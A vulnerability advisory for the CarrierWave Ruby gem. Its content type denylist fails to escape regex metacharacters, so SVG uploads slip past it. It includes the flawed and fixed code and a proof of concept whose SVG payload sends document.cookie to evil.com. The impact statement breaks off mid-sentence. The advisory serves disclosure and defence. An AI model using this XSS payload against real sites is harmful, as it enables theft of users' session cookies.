PT-2026-43454 · Rubygems · Carrierwave
Published
2026-05-27
·
Updated
2026-05-27
·
CVE-2026-44587
CVSS v3.1
4.7
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N |
Summary
CarrierWave's content type denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware
#content type denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.Details
In
lib/carrierwave/uploader/content type denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:def denylisted content type?(denylist, content type)
Array(denylist).any? { |item| content type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content type allowlist.rb:53-57, which correctly applies both Regexp.quote and a A anchor:
rubydef allowlisted content type?(allowlist, content type)
Array(allowlist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content type =~ /A#{item}/
end
end
Other affected MIME types include
application/xhtml+xml and any type containing regex metacharacters.Fix: Apply Regexp.quote for string entries and anchor with A, matching the existing allowlist implementation:
rubydef denylisted content type?(denylist, content type)
Array(denylist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content type =~ /A#{item}/
end
end
PoC
app.rb
require "sinatra"
require "carrierwave"
require "fileutils"
FileUtils.mkdir p("uploads/files")
CarrierWave.configure do |config|
config.root = File.expand path("uploads")
config.store dir = "files"
end
class VaultUploader < CarrierWave::Uploader::Base
storage :file
def store dir = "files"
def content type denylist = %w[image/svg+xml]
end
post "/upload" do
content type :json
san = CarrierWave::SanitizedFile.new(
tempfile: params[:file][:tempfile],
filename: params[:file][:filename],
content type: params[:file][:type]
)
uploader = VaultUploader.new
begin
uploader.store!(san)
{ result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to json
rescue CarrierWave::IntegrityError => e
{ result: "blocked", message: e.message }.to json
end
end
bundle exec ruby app.rb &
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg
curl -X POST http://localhost:4567/upload
-F "file=@xss.svg;type=image/svg+xml"
Expected response (denylist working):
json{ "result": "blocked", "message": "..." }
Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }
Impact
Any application that uses content type denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary
Fix
Improper Encoding or Escaping of Output
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Carrierwave